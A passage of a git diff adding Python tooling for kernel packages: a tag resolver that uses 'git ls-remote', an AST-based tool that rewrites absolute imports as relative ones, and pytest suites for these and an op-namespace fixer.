add_op_namespace_prefix.", + ) + parser.add_argument( + "paths", + type=Path, + nargs="+", + help="Files or directories to process, e.g. torch-ext/.", + ) + parser.add_argument( + "--package-root", + type=Path, + help=( + "Package root that holds the generated _ops.py (default: detected from the enclosing __init__.py files)." + ), + ) + parser.add_argument( + "--exclude", + action="append", + default=[], + metavar="GLOB", + help="Skip files matching this glob. Repeatable.", + ) + parser.add_argument("--write", action="store_true", help="Apply the rewrites.") + parser.add_argument("--diff", action="store_true", help="Show a unified diff.") + parser.add_argument("--json", action="store_true", help="Print a JSON report.") + args = parser.parse_args(argv) + + for path in args.paths: + if not path.exists(): + return fail(f"{path} does not exist", as_json=args.json, tool=TOOL) + + try: + report = process( + args.paths, + package_root=args.package_root, + write=args.write, + exclude=args.exclude, + ) + except (OSError, ValueError) as err: + return fail(str(err), as_json=args.json, tool=TOOL) + + return emit(report, as_json=args.json, show_diff=args.diff) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/latest_tag.py b/tools/latest_tag.py new file mode 100644 index 00000000..ef10c5cc --- /dev/null +++ b/tools/latest_tag.py @@ -0,0 +1,277 @@ +#!/usr/bin/env python3 +"""Resolve the latest release tag of an upstream Git repository. + +This is the "which tag?" half of fetching upstream kernel sources; see +`fetch_upstream.py` for the "get it" half, which imports this module. + +Tags are read with `git ls-remote`, so nothing is cloned and no working +copy is needed. Version numbers are extracted from the tag name, which +handles both plain tags (`v2.8.3`) and the prefixed tags upstream kernels +tend to use (`fa4-v4.0.0.beta8`, `release-1.2`). + +Pre-releases (`rc`, `beta`, `dev`, ...) are excluded unless +`--include-prerelease` is passed, so the default answer is the latest +*stable* tag. + +Examples: + python tools/latest_tag.py https://github.com/Dao-AILab/flash-attention.git + python tools/latest_tag.py https://github.com/Dao-AILab/flash-attention.git \\ + --tag-pattern '^fa4-' --include-prerelease --json +""" + +from __future__ import annotations + +import argparse +import json +import os +import re +import subprocess +import sys +from dataclasses import dataclass +from typing import List, Optional, Sequence, Tuple + +EXIT_OK = 0 +EXIT_NO_MATCH = 1 +EXIT_ERROR = 2 + +# A version anywhere inside a tag name, with an optional PEP 440-ish +# pre-release and post-release suffix. +_VERSION_RE = re.compile( + r"(?P\d+(?:\.\d+)*)" + r"(?:[-._]?(?Palpha|beta|preview|pre|dev|rc|a|b|c)[-._]?(?P\d+)?)?" + r"(?:[-._]?(?Ppost|rev|r)[-._]?(?P\d+)?)?", + re.IGNORECASE, +) + +# Ordering of pre-release kinds, following PEP 440: dev < alpha < beta < rc. +_PRE_ORDER = { + "dev": 0, + "alpha": 1, + "a": 1, + "beta": 2, + "b": 2, + "c": 3, + "rc": 3, + "pre": 3, + "preview": 3, +} + +_RELEASE_PAD = 6 + + +@dataclass(frozen=True) +class Version: + release: Tuple[int, ...] + pre: Optional[Tuple[str, int]] + post: Optional[int] + text: str + + @property + def is_prerelease(self) -> bool: + return self.pre is not None + + def sort_key(self) -> tuple: + release = self.release + (0,) * (_RELEASE_PAD - len(self.release)) + if self.pre is None: + # A final release outranks every pre-release of the same number. + pre_key = (1, 0, 0) + else: + label, number = self.pre + pre_key = (0, _PRE_ORDER.get(label, 3), number) + return (release[:_RELEASE_PAD], pre_key, self.post or 0) + + +@dataclass(frozen=True) +class Tag: + name: str + sha: str + version: Version + + def to_json(self) -> dict: + return { + "tag": self.name, + "sha": self.sha, + "version": self.version.text, + "prerelease": self.version.is_prerelease, + } + + +def parse_version(tag: str) -> Optional[Version]: + """Extract a version from a tag name. + + When a tag contains several digit runs (`fa4-v4.0.0.beta8`), the + candidate with the most dotted components wins, and ties are broken by + taking the right-most one. That picks `4.0.0.beta8` rather than the `4` + that is part of the `fa4` prefix. + """ + best: Optional[Version] = None + best_score: Optional[tuple] = None + for match in _VERSION_RE.finditer(tag): + release = tuple(int(part) for part in match.group("release").split(".")) + pre_label = match.group("pre_label") + pre: Optional[Tuple[str, int]] = None + if pre_label is not None: + pre = (pre_label.lower(), int(match.group("pre_num") or 0)) + post: Optional[int] = None + if match.group("post_label") is not None: + post = int(match.group("post_num") or 0) + + candidate = Version(release=release, pre=pre, post=post, text=match.group(0)) + score = (len(release), match.start()) + if best_score is None or score > best_score: + best, best_score = candidate, score + return best + + +def list_remote_tags(url: str, *, timeout: int = 60) -> List[Tuple[str, str]]: + """Return `(tag, sha)` pairs for `url` without cloning it. + + Raises: + RuntimeError: if `git ls-remote` is unavailable or fails. + """ + env = dict(os.environ) + # Never block on a credential prompt: an unreachable or private repo + # should fail fast rather than hang an agent's tool call. + env.setdefault("GIT_TERMINAL_PROMPT", "0") + try: + completed = subprocess.run( + ["git", "ls-remote", "--tags", "--refs", url], + capture_output=True, + text=True, + timeout=timeout, + env=env, + ) + except FileNotFoundError as err: + raise RuntimeError("`git` was not found on PATH") from err + except subprocess.TimeoutExpired as err: + raise RuntimeError(f"`git ls-remote {url}` timed out after {timeout}s") from err + + if completed.returncode != 0: + raise RuntimeError(f"`git ls-remote {url}` failed: {completed.stderr.strip()}") + + tags = [] + for line in completed.stdout.splitlines(): + sha, _, ref = line.partition("\t") + if not ref.startswith("refs/tags/"): + continue + tags.append((ref[len("refs/tags/") :], sha)) + return tags + + +def select_tags( + tags: Sequence[Tuple[str, str]], + *, + include_prerelease: bool = False, + pattern: Optional[str] = None, +) -> List[Tag]: + """Filter and version-sort `tags`, newest first.""" + compiled = re.compile(pattern) if pattern else None + selected: List[Tag] = [] + for name, sha in tags: + if compiled is not None and not compiled.search(name): + continue + version = parse_version(name) + if version is None: + continue + if version.is_prerelease and not include_prerelease: + continue + selected.append(Tag(name=name, sha=sha, version=version)) + selected.sort(key=lambda tag: tag.version.sort_key(), reverse=True) + return selected + + +def latest_tag( + url: str, + *, + include_prerelease: bool = False, + pattern: Optional[str] = None, + timeout: int = 60, +) -> Tuple[Optional[Tag], List[Tag]]: + """Return the newest tag of `url` plus the full sorted candidate list.""" + candidates = select_tags( + list_remote_tags(url, timeout=timeout), + include_prerelease=include_prerelease, + pattern=pattern, + ) + return (candidates[0] if candidates else None), candidates + + +def add_selection_args(parser: argparse.ArgumentParser) -> None: + """Register the tag-selection flags shared with `fetch_upstream.py`.""" + parser.add_argument( + "--tag-pattern", + metavar="REGEX", + help="Only consider tags matching this regular expression (e.g. '^fa4-').", + ) + parser.add_argument( + "--include-prerelease", + action="store_true", + help="Also consider pre-release tags (rc, beta, dev, ...).", + ) + parser.add_argument( + "--timeout", + type=int, + default=60, + help="Timeout in seconds for git commands (default: 60).", + ) + + +def main(argv: Optional[Sequence[str]] = None) -> int: + parser = argparse.ArgumentParser( + prog="python tools/latest_tag.py", + description="Print the latest release tag of a Git repository.", + ) + parser.add_argument("url", help="Git URL, as passed to `git clone`.") + add_selection_args(parser) + parser.add_argument( + "--limit", + type=int, + default=10, + help="Number of candidate tags to report with --json (default: 10).", + ) + parser.add_argument("--json", action="store_true", help="Print a JSON object.") + args = parser.parse_args(argv) + + try: + newest, candidates = latest_tag( + args.url, + include_prerelease=args.include_prerelease, + pattern=args.tag_pattern, + timeout=args.timeout, + ) + except RuntimeError as err: + if args.json: + json.dump( + {"url": args.url, "ok": False, "error": str(err)}, sys.stdout, indent=2 + ) + sys.stdout.write("\n") + else: + print(f"error: {err}", file=sys.stderr) + return EXIT_ERROR + + if newest is None: + message = "no tag with a parseable version matched" + if args.json: + json.dump( + {"url": args.url, "ok": False, "tag": None, "error": message}, + sys.stdout, + indent=2, + ) + sys.stdout.write("\n") + else: + print(f"error: {message}", file=sys.stderr) + return EXIT_NO_MATCH + + if args.json: + payload = {"url": args.url, "ok": True, **newest.to_json()} + payload["candidates"] = [tag.to_json() for tag in candidates[: args.limit]] + json.dump(payload, sys.stdout, indent=2) + sys.stdout.write("\n") + else: + # Bare tag name on stdout so it composes in a shell. + print(newest.name) + return EXIT_OK + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/relativize_imports.py b/tools/relativize_imports.py new file mode 100644 index 00000000..f9f56e8b --- /dev/null +++ b/tools/relativize_imports.py @@ -0,0 +1,456 @@ +#!/usr/bin/env python3 +"""Rewrite absolute intra-package imports to relative ones. + +Hub kernels are loaded from a directory whose name is *not* the package +name (the build variant directory), so any absolute import of the kernel's +own modules breaks at load time. Every intra-kernel import in +`torch-ext/` must therefore be relative -- see +`docs/source/kernel-requirements.md`. + +This tool parses each file with `ast` to find the imports, then edits only +the affected source spans, so comments and formatting are preserved. + +What gets rewritten (for a file `/a/b/mod.py`): + + from .utils import x -> from ...utils import x + from import x -> from ... import x + import .utils.helpers -> from ...utils import helpers + (plus `.utils.helpers.` references + renamed to `helpers.`) + import .utils as u -> from ... import utils as u + +Which absolute names count as intra-package is decided by: + +* auto-detection (default): a top-level name that is the package directory + name, or that exists as a module or subpackage inside it; +* `--module-map SRC=DST`, for vendored sources that were moved during the + copy, e.g. `--module-map liger_kernel.ops=` maps `liger_kernel.ops.*` + onto the package root. + +Nothing is written without `--write`. + +Examples: + python tools/relativize_imports.py torch-ext/flash_attn4 + python tools/relativize_imports.py torch-ext/liger_kernels \\ + --module-map liger_kernel.ops= --module-map liger_kernel=. --write +""" + +from __future__ import annotations + +import argparse +import ast +import sys +from pathlib import Path +from typing import Dict, List, Optional, Sequence, Tuple + +from _ast_utils import ( + Edit, + SourceFile, + apply_edits, + dotted_name, + iter_python_files, + relative_import, + unified_diff, +) +from _report import Change, Issue, Report, display_path, emit, fail + +TOOL = "relativize-imports" + +Parts = Tuple[str, ...] + + +class ModuleResolver: + """Decides which absolute module names live inside the kernel package.""" + + def __init__( + self, + root: Path, + *, + package_name: str, + module_map: Dict[Parts, Parts], + auto: bool = True, + ): + self.root = root + self.package_name = package_name + self.module_map = module_map + self.auto = auto + + def resolve(self, module: str) -> Optional[Parts]: + """Map an absolute module name to a path relative to the package root. + + Returns `None` for modules that are external to the package (`torch`, + `triton`, ...), and an empty tuple for the package root itself. + """ + parts = tuple(module.split(".")) + + # Explicit maps win, longest prefix first, so a caller can map + # `liger_kernel.ops` to the root while mapping `liger_kernel` + # somewhere else. + for length in range(len(parts), 0, -1): + prefix = parts[:length] + if prefix in self.module_map: + return self.module_map[prefix] + parts[length:] + + if not self.auto: + return None + if parts[0] == self.package_name: + return parts[1:] + if self.contains(parts[:1]): + return parts + return None + + def contains(self, parts: Parts) -> bool: + """Whether `parts` names a module or package inside the root.""" + if not parts: + return True + path = self.root.joinpath(*parts) + return path.with_suffix(".py").is_file() or path.is_dir() + + +def parse_module_map(entries: Sequence[str]) -> Dict[Parts, Parts]: + """Parse `--module-map SRC=DST` entries. + + `DST` is a dotted path relative to the package root; an empty `DST` (or + `.`) maps onto the root itself. + """ + mapping: Dict[Parts, Parts] = {} + for entry in entries: + source, sep, target = entry.partition("=") + if not sep or not source: + raise ValueError(f"invalid --module-map entry {entry!r}, expected SRC=DST") + target = target.strip().strip(".") + mapping[tuple(source.split("."))] = tuple(target.split(".")) if target else () + return mapping + + +def _summarize(text: str) -> str: + """Collapse a (possibly multi-line) statement into one readable line.""" + return " ".join(text.split()) + + +class FileRewriter: + """Collects the edits for a single file.""" + + def __init__( + self, source: SourceFile, resolver: ModuleResolver, dir_parts: Parts, label: str + ): + self.source = source + self.resolver = resolver + self.dir_parts = dir_parts + self.label = label + self.edits: List[Edit] = [] + self.changes: List[Change] = [] + self.issues: List[Issue] = [] + # Dotted module path -> the simple name it is bound to after rewriting. + self.renames: Dict[str, str] = {} + # Names an `import` used to bind that the relative form no longer does. + self.dropped_bindings: set = set() + # Names that are still bound after the rewrite, by any import. + self.live_bindings: set = set() + + def run(self) -> None: + for node in ast.walk(self.source.tree): + if isinstance(node, ast.ImportFrom): + # `from x import y` keeps binding `y` whether or not the + # module part is rewritten. + self.live_bindings.update( + alias.asname or alias.name for alias in node.names + ) + self._rewrite_import_from(node) + elif isinstance(node, ast.Import): + self._rewrite_import(node) + self._apply_renames() + + def _issue(self, node: ast.AST, kind: str, message: str) -> None: + self.issues.append( + Issue( + file=self.label, + line=getattr(node, "lineno", 0), + kind=kind, + message=message, + snippet=_summarize(self.source.segment(node)), + ) + ) + + def _check_target(self, node: ast.AST, target: Parts, module: str) -> None: + if not self.resolver.contains(target): + self._issue( + node, + "unresolved-target", + f"`{module}` maps to `{'.'.join(target) or ''}`, which does not exist in the package", + ) + + def _rewrite_import_from(self, node: ast.ImportFrom) -> None: + if node.level > 0 or node.module is None: + return # Already relative. + target = self.resolver.resolve(node.module) + if target is None: + return + self._check_target(node, target, node.module) + + new_ref = relative_import(self.dir_parts, target) + start, end = self.source.module_span(node) + self.edits.append(Edit(start, end, f" {new_ref} ")) + names = ", ".join( + alias.name + (f" as {alias.asname}" if alias.asname else "") + for alias in node.names + ) + self.changes.append( + Change( + file=self.label, + line=node.lineno, + kind="import-from", + before=f"from {node.module} import {names}", + after=f"from {new_ref} import {names}", + ) + ) + + def _rewrite_import(self, node: ast.Import) -> None: + targets = [self.resolver.resolve(alias.name) for alias in node.names] + if all(target is None for target in targets): + return + + statements: List[str] = [] + renames: Dict[str, str] = {} + dropped: set = set() + for alias, target in zip(node.names, targets): + original = alias.name + (f" as {alias.asname}" if alias.asname else "") + binding = alias.asname or alias.name.split(".")[0] + if target is None: + statements.append(f"import {original}") + self.live_bindings.add(binding) + continue + self._check_target(node, target, alias.name) + if not target: + # `import ` binds the package root, which has no + # relative spelling -- there is no `from import` + # form that yields the current package object. + self._issue( + node, + "unrepresentable-import", + f"`import {original}` refers to the package root; rewrite it by hand " + "(import the submodules that are actually used instead)", + ) + statements.append(f"import {original}") + self.live_bindings.add(binding) + continue + + ref = relative_import(self.dir_parts, target[:-1]) + leaf = target[-1] + if alias.asname: + statements.append(f"from {ref} import {leaf} as {alias.asname}") + self.live_bindings.add(alias.asname) + else: + statements.append(f"from {ref} import {leaf}") + self.live_bindings.add(leaf) + if alias.name != leaf: + # `import a.b.c` binds `a`; the relative form binds `c`, + # so every `a.b.c` reference has to follow. + renames[alias.name] = leaf + dropped.add(binding) + + if len(statements) > 1: + indent = self.source.indent_of(node) + if indent is None: + self._issue( + node, + "compound-import", + "cannot split a multi-name `import` that does not start its own line", + ) + return + replacement = ("\n" + indent).join(statements) + else: + replacement = statements[0] + + start, end = self.source.span(node) + original_text = _summarize(self.source.text[start:end]) + if replacement == original_text: + return + self.edits.append(Edit(start, end, replacement)) + self.renames.update(renames) + self.dropped_bindings.update(dropped) + self.changes.append( + Change( + file=self.label, + line=node.lineno, + kind="import", + before=original_text, + after=_summarize(replacement), + ) + ) + + def _apply_renames(self) -> None: + """Rewrite `a.b.c` references left dangling by a rewritten `import a.b.c`.""" + if not self.renames: + return + + matches: List[Tuple[int, int, str]] = [] + for node in ast.walk(self.source.tree): + if not isinstance(node, (ast.Attribute, ast.Name)): + continue + if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load): + continue + path = dotted_name(node) + if path is None or path not in self.renames: + continue + start, end = self.source.span(node) + matches.append((start, end, self.renames[path])) + + # Keep only the outermost match of each chain, so nested imports + # (`a.b` and `a.b.c` both rewritten) do not produce overlapping edits. + matches.sort(key=lambda match: (match[0], -match[1])) + kept: List[Tuple[int, int, str]] = [] + for start, end, name in matches: + if kept and start < kept[-1][1]: + continue + kept.append((start, end, name)) + + covered = [(start, end) for start, end, _ in kept] + for start, end, name in kept: + self.edits.append(Edit(start, end, name)) + self.changes.append( + Change( + file=self.label, + line=self.source.line_of(start), + kind="reference", + before=self.source.text[start:end], + after=name, + ) + ) + + self._report_dangling(covered) + + def _report_dangling(self, covered: Sequence[Tuple[int, int]]) -> None: + """Flag uses of a root binding that the rewrite left unbound. + + Rewriting `import a.b.c` to `from .. import c` drops the `a` + binding. References of the form `a.b.c...` were renamed above; any + *other* use of `a` (e.g. `a.d.f()` from a second import that was not + rewritten) would break, so it is reported instead. + """ + unbound = self.dropped_bindings - self.live_bindings + if not unbound: + return + for node in ast.walk(self.source.tree): + if not isinstance(node, ast.Name) or node.id not in unbound: + continue + start, end = self.source.span(node) + if any(low <= start and end <= high for low, high in covered): + continue + self._issue( + node, + "dangling-reference", + f"`{node.id}` is no longer bound after relativizing " + f"`import {node.id}...`; rewrite this reference by hand", + ) + + +def process( + root: Path, + resolver: ModuleResolver, + *, + write: bool, + exclude: Sequence[str], +) -> Report: + report = Report(tool=TOOL, mode="write" if write else "check") + for path in iter_python_files([root], exclude=exclude): + label = display_path(path) + try: + source = SourceFile.read(path) + except SyntaxError as err: + report.issues.append( + Issue( + file=label, + line=err.lineno or 0, + kind="syntax-error", + message=f"could not parse: {err.msg}", + ) + ) + report.files_scanned += 1 + continue + + report.files_scanned += 1 + dir_parts = path.parent.resolve().relative_to(root.resolve()).parts + dir_parts = tuple(part for part in dir_parts if part != ".") + + rewriter = FileRewriter(source, resolver, dir_parts, label) + rewriter.run() + report.issues.extend(rewriter.issues) + if not rewriter.edits: + continue + + new_text = apply_edits(source.text, rewriter.edits) + report.changes.extend(rewriter.changes) + report.diffs[label] = unified_diff(Path(label), source.text, new_text) + if write: + path.write_text(new_text, encoding="utf-8") + return report + + +def main(argv: Optional[Sequence[str]] = None) -> int: + parser = argparse.ArgumentParser( + prog="python tools/relativize_imports.py", + description="Rewrite absolute intra-package imports to relative imports.", + ) + parser.add_argument( + "package_dir", + type=Path, + help="Package root, e.g. torch-ext/.", + ) + parser.add_argument( + "--package-name", + help="Name the sources import the package as (default: the directory name).", + ) + parser.add_argument( + "--module-map", + action="append", + default=[], + metavar="SRC=DST", + help=( + "Map absolute module SRC (and its submodules) onto the package-relative " + "path DST. An empty DST means the package root. Repeatable." + ), + ) + parser.add_argument( + "--no-auto", + action="store_true", + help="Only relativize modules listed with --module-map.", + ) + parser.add_argument( + "--exclude", + action="append", + default=[], + metavar="GLOB", + help="Skip files matching this glob. Repeatable.", + ) + parser.add_argument("--write", action="store_true", help="Apply the rewrites.") + parser.add_argument("--diff", action="store_true", help="Show a unified diff.") + parser.add_argument("--json", action="store_true", help="Print a JSON report.") + args = parser.parse_args(argv) + + root = args.package_dir + if not root.is_dir(): + return fail(f"{root} is not a directory", as_json=args.json, tool=TOOL) + + try: + module_map = parse_module_map(args.module_map) + except ValueError as err: + return fail(str(err), as_json=args.json, tool=TOOL) + + resolver = ModuleResolver( + root, + package_name=args.package_name or root.resolve().name, + module_map=module_map, + auto=not args.no_auto, + ) + + try: + report = process(root, resolver, write=args.write, exclude=args.exclude) + except (OSError, ValueError) as err: + return fail(str(err), as_json=args.json, tool=TOOL) + + return emit(report, as_json=args.json, show_diff=args.diff) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/tests/test_fix_op_definitions.py b/tools/tests/test_fix_op_definitions.py new file mode 100644 index 00000000..c4f35b98 --- /dev/null +++ b/tools/tests/test_fix_op_definitions.py @@ -0,0 +1,321 @@ +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + +import fix_op_definitions # noqa: E402 + + +def build(root: Path, files: dict) -> Path: + for name, content in files.items(): + path = root / name + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content) + return root + + +def run(path: Path, *extra, write=True): + argv = [str(path), *extra] + if write: + argv.append("--write") + return fix_op_definitions.main(argv) + + +def check(path: Path, *extra): + return fix_op_definitions.process( + [path], package_root=None, write=False, exclude=list(extra) + ) + + +def test_custom_op_namespace_is_replaced_and_import_added(tmp_path): + pkg = build( + tmp_path / "relu", + { + "__init__.py": "", + "_ops.py": "ops = None\n", + "ops.py": ( + "import torch\n" + "\n" + '@torch.library.custom_op("relu::relu_fwd", mutates_args=())\n' + "def relu_fwd(x):\n" + " return x\n" + ), + }, + ) + assert run(pkg) == 0 + assert (pkg / "ops.py").read_text() == ( + "import torch\n" + "from ._ops import add_op_namespace_prefix\n" + "\n" + '@torch.library.custom_op(add_op_namespace_prefix("relu_fwd"), mutates_args=())\n' + "def relu_fwd(x):\n" + " return x\n" + ) + + +def test_op_name_and_added_import_are_separate_changes(tmp_path): + # Adding the `_ops` import is its own edit, so it gets its own entry. + pkg = build( + tmp_path / "relu", + { + "__init__.py": "", + "ops.py": ( + "import torch\n" + "\n" + '@torch.library.custom_op("relu::relu_fwd", mutates_args=())\n' + "def relu_fwd(x):\n" + " return x\n" + ), + }, + ) + report = check(pkg) + assert [c.kind for c in report.changes] == ["op-name", "import"] + assert report.changes[1].before == "" + assert report.changes[1].after == "from ._ops import add_op_namespace_prefix" + assert report.to_json(include_diffs=False)["summary"]["changes"] == 2 + + +def test_unprefixed_op_name_is_wrapped(tmp_path): + pkg = build( + tmp_path / "relu", + { + "__init__.py": "", + "ops.py": ( + "import torch\n" + "\n" + '@torch.library.custom_op("_flash_attn_forward", mutates_args=(), ' + 'device_types="cuda")\n' + "def fwd(x):\n" + " return x\n" + ), + }, + ) + assert run(pkg) == 0 + text = (pkg / "ops.py").read_text() + assert 'add_op_namespace_prefix("_flash_attn_forward")' in text + + +def test_register_fake_imported_from_torch_library(tmp_path): + pkg = build( + tmp_path / "moe", + { + "__init__.py": "", + "ops.py": ( + "from torch.library import register_fake\n" + "\n" + '@register_fake("moe::single_marlin_gemm_moe")\n' + "def fake(x):\n" + " return x\n" + ), + }, + ) + assert run(pkg) == 0 + text = (pkg / "ops.py").read_text() + assert 'register_fake(add_op_namespace_prefix("single_marlin_gemm_moe"))' in text + assert "from ._ops import add_op_namespace_prefix" in text + + +def test_nested_module_gets_correct_relative_ops_import(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "a/__init__.py": "", + "a/b/__init__.py": "", + "a/b/ops.py": ( + 'import torch\n\n@torch.library.custom_op("x::y", mutates_args=())\ndef y(t):\n return t\n' + ), + }, + ) + assert run(pkg) == 0 + assert ( + "from ..._ops import add_op_namespace_prefix" + in (pkg / "a/b/ops.py").read_text() + ) + + +def test_already_prefixed_is_left_alone(tmp_path): + original = ( + "from ._ops import add_op_namespace_prefix\n" + "import torch\n" + "\n" + '@torch.library.custom_op(add_op_namespace_prefix("relu_fwd"), mutates_args=())\n' + "def relu_fwd(x):\n" + " return x\n" + ) + pkg = build(tmp_path / "relu", {"__init__.py": "", "ops.py": original}) + assert run(pkg, write=False) == 0 + assert (pkg / "ops.py").read_text() == original + + +def test_torch_library_define_is_rewritten(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + 'import torch\n\ntorch.library.define("ns::myop(Tensor x) -> Tensor")\n' + ), + }, + ) + assert run(pkg) == 0 + assert ( + 'add_op_namespace_prefix("myop(Tensor x) -> Tensor")' + in (pkg / "ops.py").read_text() + ) + + +def test_library_method_define_is_not_touched(tmp_path): + original = 'import torch\n\nlib = torch.library.Library("ns", "FRAGMENT")\nlib.define("myop() -> ()")\n' + pkg = build(tmp_path / "mykernel", {"__init__.py": "", "ops.py": original}) + report = check(pkg) + assert not report.changes + assert [issue.kind for issue in report.issues] == ["hardcoded-library-namespace"] + + +def test_custom_op_def_methods_are_not_touched(tmp_path): + # `register_autograd`/`register_fake` on the object returned by + # `custom_op` take a function, not an op name. + original = ( + "import torch\n" + "\n" + "@torch.library.custom_op(add_op_namespace_prefix('silu'), mutates_args=())\n" + "def _silu(x):\n" + " return x\n" + "\n" + "_silu.register_autograd(backward, setup_context=setup_context)\n" + "\n" + "@_silu.register_fake\n" + "def _(x):\n" + " return x\n" + ) + pkg = build(tmp_path / "mykernel", {"__init__.py": "", "ops.py": original}) + report = check(pkg) + assert report.changes == [] + assert report.issues == [] + + +def test_aliased_torch_library_import_is_matched(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + "from torch.library import custom_op as _custom_op\n" + "\n" + '@_custom_op("a::b", mutates_args=())\n' + "def b(x):\n" + " return x\n" + ), + }, + ) + assert run(pkg) == 0 + assert 'add_op_namespace_prefix("b")' in (pkg / "ops.py").read_text() + + +def test_non_literal_op_name_is_reported(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + "import torch\n\nname = 'x::y'\n\n@torch.library.register_fake(name)\ndef fake(t):\n return t\n" + ), + }, + ) + report = check(pkg) + assert not report.changes + assert [issue.kind for issue in report.issues] == ["non-literal-op-name"] + + +def test_fallback_import_antipattern_is_reported(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + "try:\n" + " from ._ops import add_op_namespace_prefix\n" + "except ImportError:\n" + " def add_op_namespace_prefix(name):\n" + " return name\n" + ), + }, + ) + kinds = {issue.kind for issue in check(pkg).issues} + assert "fallback-import" in kinds + + +def test_redefined_helper_is_reported(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + "def add_op_namespace_prefix(name):\n return f'my_kernel::{name}'\n" + ), + }, + ) + assert [issue.kind for issue in check(pkg).issues] == ["rewrapped-helper"] + + +def test_generated_ops_module_is_skipped(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "_ops.py": ( + "def add_op_namespace_prefix(op_name):\n return f'ns::{op_name}'\n" + ), + }, + ) + report = check(pkg) + assert report.issues == [] + assert report.files_scanned == 1 # __init__.py only + + +def test_check_mode_does_not_write(tmp_path): + original = 'import torch\n\n@torch.library.custom_op("a::b", mutates_args=())\ndef b(x):\n return x\n' + pkg = build(tmp_path / "mykernel", {"__init__.py": "", "ops.py": original}) + assert run(pkg, write=False) == 1 + assert (pkg / "ops.py").read_text() == original + + +def test_import_is_added_only_once_for_multiple_ops(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + "import torch\n" + "\n" + '@torch.library.custom_op("a::b", mutates_args=())\n' + "def b(x):\n" + " return x\n" + "\n" + '@torch.library.register_fake("a::b")\n' + "def b_fake(x):\n" + " return x\n" + ), + }, + ) + assert run(pkg) == 0 + text = (pkg / "ops.py").read_text() + assert text.count("from ._ops import add_op_namespace_prefix") == 1 + assert text.count('add_op_namespace_prefix("b")') == 2 + + +def test_docstring_only_module_gets_import_after_docstring(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "", + "ops.py": ( + '"""Docs."""\n\n@torch.library.custom_op("a::b", mutates_args=())\ndef b(x):\n return x\n' + ), + }, + ) + assert run(pkg) == 0 + lines = (pkg / "ops.py").read_text().splitlines() + assert lines[0] == '"""Docs."""' + assert lines[1] == "from ._ops import add_op_namespace_prefix" diff --git a/tools/tests/test_latest_tag.py b/tools/tests/test_latest_tag.py new file mode 100644 index 00000000..1b796a86 --- /dev/null +++ b/tools/tests/test_latest_tag.py @@ -0,0 +1,85 @@ +import sys +from pathlib import Path + +import pytest + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + +from latest_tag import parse_version, select_tags # noqa: E402 + + +def _sha(name: str) -> str: + return f"{abs(hash(name)):040x}"[:40] + + +def tags(*names): + return [(name, _sha(name)) for name in names] + + +@pytest.mark.parametrize( + "tag,expected,prerelease", + [ + ("v2.8.3", (2, 8, 3), False), + ("2.8.3", (2, 8, 3), False), + ("release-1.2", (1, 2), False), + ("v0.1.5", (0, 1, 5), False), + ("v1.0.0rc1", (1, 0, 0), True), + ("v1.0.0-rc.2", (1, 0, 0), True), + ("v4.0.0.beta8", (4, 0, 0), True), + # The `fa4` prefix must not be mistaken for the version. + ("fa4-v4.0.0.beta8", (4, 0, 0), True), + ("v1.2.3.post1", (1, 2, 3), False), + ], +) +def test_parse_version(tag, expected, prerelease): + version = parse_version(tag) + assert version is not None + assert version.release == expected + assert version.is_prerelease is prerelease + + +def test_parse_version_rejects_tags_without_numbers(): + assert parse_version("latest") is None + + +def test_stable_tags_sort_newest_first(): + selected = select_tags(tags("v0.9.0", "v0.10.0", "v0.10.1", "v0.2.0")) + assert [tag.name for tag in selected] == ["v0.10.1", "v0.10.0", "v0.9.0", "v0.2.0"] + + +def test_prereleases_are_excluded_by_default(): + selected = select_tags(tags("v1.0.0", "v1.1.0rc1", "v1.1.0.beta2")) + assert [tag.name for tag in selected] == ["v1.0.0"] + + +def test_prereleases_sort_below_their_release(): + selected = select_tags( + tags("v1.1.0", "v1.1.0rc1", "v1.1.0b1", "v1.1.0a1", "v1.1.0.dev3"), + include_prerelease=True, + ) + assert [tag.name for tag in selected] == [ + "v1.1.0", + "v1.1.0rc1", + "v1.1.0b1", + "v1.1.0a1", + "v1.1.0.dev3", + ] + + +def test_shorter_release_compares_as_zero_padded(): + selected = select_tags(tags("v1.2", "v1.2.1")) + assert [tag.name for tag in selected] == ["v1.2.1", "v1.2"] + + +def test_tag_pattern_filters_candidates(): + selected = select_tags( + tags("fa4-v4.0.0.beta8", "v2.8.3", "fa4-v4.0.0.beta7"), + include_prerelease=True, + pattern="^fa4-", + ) + assert [tag.name for tag in selected] == ["fa4-v4.0.0.beta8", "fa4-v4.0.0.beta7"] + + +def test_post_release_outranks_release(): + selected = select_tags(tags("v1.2.3", "v1.2.3.post1")) + assert selected[0].name == "v1.2.3.post1" diff --git a/tools/tests/test_relativize_imports.py b/tools/tests/test_relativize_imports.py new file mode 100644 index 00000000..3acd8108 --- /dev/null +++ b/tools/tests/test_relativize_imports.py @@ -0,0 +1,292 @@ +import sys +from pathlib import Path + +import pytest + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + +import relativize_imports # noqa: E402 + + +def build(root: Path, files: dict) -> Path: + """Materialize a package tree from a `{relative path: source}` mapping.""" + for name, content in files.items(): + path = root / name + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content) + return root + + +def run(root: Path, *extra, write=True): + argv = [str(root), *extra] + if write: + argv.append("--write") + return relativize_imports.main(argv) + + +def test_from_import_at_package_root(tmp_path): + pkg = build( + tmp_path / "mykernel", + { + "__init__.py": "from mykernel.utils import helper\n", + "utils.py": "def 